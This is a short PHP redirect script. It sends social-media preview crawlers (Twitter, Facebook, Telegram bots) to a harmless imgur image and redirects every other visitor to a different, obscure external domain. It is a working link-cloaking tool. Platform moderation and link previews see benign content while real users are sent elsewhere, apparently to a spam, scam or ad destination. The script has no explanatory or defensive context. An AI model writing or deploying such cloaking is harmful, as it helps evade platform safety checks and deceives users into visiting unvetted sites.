?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

if (
    stripos($userAgent, 'Twitterbot') !== false ||
    stripos($userAgent, 'facebookexternalhit') !== false ||
    stripos($userAgent, 'Facebot') !== false ||
    stripos($userAgent, 'TelegramBot') !== false
) {
    header('Location: https://i.imgur.com/erY8tjm', true, 302);
    exit;
}

header('Location: https://hai8g.com/4/9440549', true, 302);
exit;
?>